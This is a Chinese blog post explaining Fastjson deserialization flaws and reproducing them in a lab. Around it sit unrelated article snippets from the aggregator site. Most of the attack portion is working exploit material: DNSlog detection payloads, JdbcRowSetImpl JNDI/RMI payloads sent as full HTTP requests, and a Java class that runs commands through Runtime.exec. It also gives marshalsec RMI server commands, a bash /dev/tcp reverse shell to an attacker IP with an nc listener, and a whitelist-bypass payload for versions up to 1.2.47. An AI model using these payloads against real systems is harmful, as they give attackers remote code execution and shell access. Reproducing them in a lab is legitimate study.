- Java锁的逻辑(结合对象头和ObjectMonitor)
- 还在用饼状图?来瞧瞧这些炫酷的百分比可视化新图形(附代码实现)⛵
- 自动注册实体类到EntityFrameworkCore上下文,并适配ABP及ABPVNext
- 基于Sklearn机器学习代码实战
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了.
根据返回包判断 。
任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽! 。
利用DNSlog盲打 。
构造以下payload,利用sdnslog平台接收.
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
1.2.67版本后payload 。
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}
。
POST / HTTP/1.1
Host: 192.168.72.128:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 71
{"YikJiang":{"@type":"java.net.Inet4Address","val":"pesy0e.dnslog.cn"}}
Java站并且传的数据是JSON格式的都可以尝试 。
Burp插件检测 。
fastjson在解析json的过程中,支持使用 autoType 来实例化某一个具体的类, autoType 标注了类对应的原始类型,方便在反序列化的时候定位到具体类型,fastjson在对JSON字符串进行反序列化的时候,就会读取 @type 到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链,造成远程代码执行.
因为有了 autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取 @type 到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那 么就可以利用这个特性,自己构造一个JSON字符串,并且使用 @type 指定一个自己想要使用的攻击类库.
在fastjson中我们使用 JdbcRowSetImpl 进行反序列化的攻击,我们给此类中的 setDataSourcesName 输入恶意内容(rmi链接),让目标服务在反序列化的时候,请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞 。
FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象.
fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。但是,fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制, 而是自定义了一套机制.
对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
1、基于属性 。
2、基于setter/getter 。
而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json。我们对java类进行序列化的时候,fastjson会自动扫描其中的get方法,将里边的字段值序列化到JSON的字符串中,当类包含了一个接口或者抽象了的时候,使用fastjson进行序列化的时候就会将子类型抹去,只留下接口(抽象类)的类型,反序列化的时候就无法拿到原始的类型.
但是使用SerializerFeature.WriteClassName进行标记后,JSON字符串中多出了一个 @type 字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型,这个就是AutoType,和引入AutoType的原因.
因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取 @type 到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那 么就可以利用这个特性,自己构造一个JSON字符串,并且使用 @type 指定一个自己想要使用的攻击类库.
@type 是 fastjson 中的一个特殊注解,用于标识 JSON 字符串中的某个属性是一个 Java 对象的类型。具体来说,当 fastjson 从 JSON 字符串反序列化为 Java 对象时,如果 JSON 字符串中包含 @type 属性, fastjson 会根据该属性的值来确定反序列化后的 Java 对象的类型.
JNDI全称为Java命名和目录接口。我们可以理解为JNDI提供了两个服务,即命名服务和目录服务.
如果lookup参数可控的话,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类。当我们指定一个恶意的URL地址之后,受害者在获取完这个远程对象之后,开始调用恶意方法。但是在RMI中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,也就是这里所说的受害者。当然,如果受害者 内部存在漏洞组件存在反序列化漏洞 的话,我们可以 构造恶意的序列化对象,返回给客户端,当客户端在进行反序列化的时候,可以触发漏洞 ;如果目标组件不存在反序列化漏洞,我们返回一个恶意对象,但是客户端本地没有这个class文件,当然也就不能成功获取到这个对象.
RMI(Remote Method Invocation)远程方法调用,是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法.
LDAP 是轻型目录访问协议的缩写,是一种用于访问和维护分层目录信息的协议.
在fastjson中我们使用 JdbcRowSetImpl 进行反序列化的攻击, JdbcRowSetImpl 利用链的重点就在怎么调用 autoCommit 的set方法,而fastjson反序列化的特点就是会自动调用到类的set方法,所以会存在这个反序列化的问题。只要制定了 @type 的类型,他就会自动调用对应的类来解析.
这样我们就可以构造我们的利用链。在 @type 的类型为 JdbcRowSetImpl 类型的时候,JdbcRowSetImpl类就会进行实例化,那么只要将 dataSourceName 传给 lookup 方法,就可以保证能够访问到远程的攻击服务器,再使用设置 autoCommit 属性对lookup进行触发就可以了。整个过程如下: 通过设置 dataSourceName 将属性传参给 lookup 的方法—>设置 autoCommit 属性,利用 SetAutoCommit 函数触发connect函数—>触发 connect 函数下面 lookup 函数就会使用刚刚设置的 dataSourceName 参数,即可通过RMI访问到远程服务器,从而执行恶意指令。 exploit如下:
{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://192.168.17.39:9999/Exploit”,”autoCommit”:true}
值得注意的是: 1、 dataSourceName 需要放在 autoCommit 的前面,因为反序列化的时候是按先后顺序来set属性的,需要先 etDataSourceName ,然后再 setAutoCommit 。 2、rmi的url后面跟上要获取的我们远程 factory 类名,因为在 lookup() 里面会提取路径下的名字作为要获取的类.
靶机运行后,访问 http://you-ip:8090 即可看到JSON格式的输出 。
a.首先我们构造一个YikJiang.java命令执行荷载,上传VPS并编译 。
// javac YikJiang.java
import java.lang.Runtime;
import java.lang.Process;
public class YikJiang {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/YikJiang0916"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
b.终端进行编译 。
注意要使用java1.8版本,高版本的jdk 版本把远程调用修复了,因为这个搞了半天 。
javac .\YikJiang.java
c.编译完成后,会发现当前目录下生成了 YikJiang.class 文件 。
d.利用python启动临时的http服务,端口为8888 。
python.exe -m http.server 8888
e. 利用 marshalsec 工具(需要maven环境编译),或者使用工具 marshalsec-0.0.3-SNAPSHOT-all.jar 。
f.生成payload 。
启动RMI服务器,监听8888端口,并指定加载远程类YikJiang.class 。
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.161:8888/#YikJiang" 777
g.修改提交模式和 Content-Type 为 application/json ,发送payload 。
POST / HTTP/1.1 Host: 192.168.72.128:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 161{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.161:777/YikJiang", "autoCommit":true } } 。
进入doker容器 docker exec -it 6549e687ad97 /bin/bash 。
fastjson 于1.2.24 版本后增加了反序列化白名单。而在2019年6月,fastjson 又被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令 。
在1.2.24版本漏洞复现中,我们利用fastjson漏洞进行了命令执行,1.2.27中,我们就尝试反弹shell(其实原理都相同) 。
靶机运行后,访问 http://you-ip:8090 即可看到JSON格式的输出 。
a.我们构造反弹Shell 。
构造反弹shell的方式有很多种,这里用Hack-Tools插件进行构造 。
bash -i >& /dev/tcp/192.168.1.161/6666 0>&1
b.首先我们构造一个YikJiang.java命令执行荷载,上传VPS并编译 。
import java.lang.Runtime; import java.lang.Process;public class YikJiang { static { try { Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.161/6666 0>&1"}); p.waitFor(); } catch (Exception e) { // do nothing } } } 。
b.终端进行编译 。
注意要使用java1.8版本,高版本的jdk 版本把远程调用修复了,因为这个搞了半天 。
javac .\YikJiang.java
c.编译完成后,会发现当前目录下生成了 YikJiang.class 文件 。
d.利用python启动临时的http服务,端口为8888 。
Python2.0 python2 -m SimpleHTTPServer 8888 。
Python3.0 python3 -m http.server 8888 。
python.exe -m http.server 8888
e. 利用 marshalsec 工具(需要maven环境编译),或者使用工具 marshalsec-0.0.3-SNAPSHOT-all.jar 。
f.生成payload 。
启动RMI服务器,并指定加载远程类YikJiang.class 。
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.161:8888/#YikJiang" 9999
g.本地开启监听 nc -lvp 6666 。
h.修改提交模式和 Content-Type 为 application/json ,发送payload 。
POST / HTTP/1.1 Host: 192.168.72.128:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 287{ 。
"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.161:9999/YikJiang", "autoCommit":true
} 。
发送成功后,RMI服务器记录了请求信息,并且成功反弹Shell 。
。
最后此篇关于一文读懂面试官都在问的Fastjson漏洞的文章就讲到这里了,如果你想了解更多关于一文读懂面试官都在问的Fastjson漏洞的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
写在开头 面试官:“小伙子,线程池使用过吗,来聊一聊它吧!” 我:“好的,然后巴拉巴拉一顿输出之前看过的build哥线程池十八问...” 面试官满意的点了点头,紧接着问道:“那你知道如何优雅
在 MySQL 中,GROUP BY 和 DISTINCT 都是用来处理查询结果中的重复数据,并且在官方的描述文档中也可以看出:在大多数情况下 DISTINCT 是特殊的 GROUP BY,如下图所示
首先,这个问题考察的是你对线程池 execute 方法和 submit 方法的理解,在 Java 线程池的使用中,我们可以通过 execute 方法或 submit 方法给线程池添加任务,但如果线程池
对于我们使用的线程池 ThreadPoolExecutor 来说,停止线程池的方法有以下两个: shutdown():优雅的关闭线程池,即不再接受新任务,但会等待已提交任务(包括正在执行的任务
任务编排(Task Orchestration)是指管理和控制多个任务的执行流程,确保它们按照预定的顺序正确执行。 1.为什么需要任务编排? 在复杂的业务场景中,任务间通常存在依赖关系,也就是某个
设计模式是前辈们经过实践验证总结的解决方案,帮助我们构建出更具可维护性、可扩展性和可读性的代码。当然,在面试的过程中,也会或多或少的被问到。那么今天,我们就来看一道设计模式中的常见面试问题:JDK 中
大家好,我是三友~~ 今天继续探秘系列,扒一扒一次RPC请求在Dubbo中经历的核心流程。 本文是基于Dubbo3.x版本进行讲解 一个简单的Demo 这里还
MySQL 作为关系型数据库的典型代表,其流行程度超越于任何数据库,因此在 Java 面试中,MySQL 是一定会被问到的重要知识点。而在 MySQL 中有一道极其常见的面试题,我们这里系统的来看一下
Spring AI 已经发布了好长时间了,目前已经更新到 1.0 版本了,所以身为 Java 程序员的你,如果还对 Spring AI 一点都不了解的话,那就有点太落伍了。 言归正传,那什么是 Sp
一、写在开头 在计算机领域中百分之九十以上的程序拥有着和外部设备交互的功能,这就是我们常说的IO(Input/Output:输入/输出),所谓输入就是外部数据导入计算机内存中的过程,输出则是将内存或
前言 前几天面试遇到的,感觉比较有趣。第一次面试遇到考架构设计相关的题目,挺新奇的,开始向国外大厂靠拢了,比天天问八股文好太多了,工作5年左右的,问八股文,纯纯的不负责任偷懒行为。 感觉此问题比较
一、写在开头 在上一篇学习序列化的文章中我们提出了这样的一个问题: “如果在我的对象中,有些变量并不想被序列化应该怎么办呢?” 当时给的回答是:不想被序列化的变量我们可以使用transient或
面试连环call Java类是如何被加载到内存中的? Java类的生命周期都有哪些阶段? JVM加载的class文件都有哪些来源? JVM在加载class文件时,何时判断class
面试连环call 双亲委派机制是什么?如何打破双亲委派机制? JVM都有哪些类加载器? 如何构造一个自定义类加载器? Tomcat的类加载机制?Spring的类加载机制 Cla
哈喽,大家好🎉,我是世杰。 ⏩本次给大家介绍一下操作系统线程和Java的线程以及二者的关联 1. 面试连环call Java线程可以无限创建吗? Java线程和操作系
Netty 核心组件是指 Netty 在执行过程中所涉及到的重要概念,这些核心组件共同组成了 Netty 框架,使 Netty 框架能够正常的运行。 Netty 核心组件包含以下内容:
Netty 作为一个高性能的网络通讯框架,它内置了很多恰夺天工的设计,目的都是为了将网络通讯的性能做到极致,其中「对象池技术」也是实现这一目标的重要技术。 1.什么是对象池技术? 对象池技术是一种
前言 我们的API接口都是提供给第三方服务/客户端调用,所有请求地址以及请求参数都是暴露给用户的。 我们每次请求一个HTTP请求,用户都可以通过F12,或者抓包工具fd看到请求的URL链接,然后c
延迟任务(Delayed Task)是指在未来的某个时间点,执行相应的任务。也就是说,延迟任务是一种计划任务,它被安排在特定的时间后执行,而不是立即执行。 延迟任务的常见使用场景有以下几个:
引言 现代的操作系统(Windows,Linux,Mac OS)等都可以同时打开多个软件(任务),这些软件在我们的感知上是同时运行的,例如我们可以一边浏览网页,一边听音乐。而CPU执行代码同
我是一名优秀的程序员,十分优秀!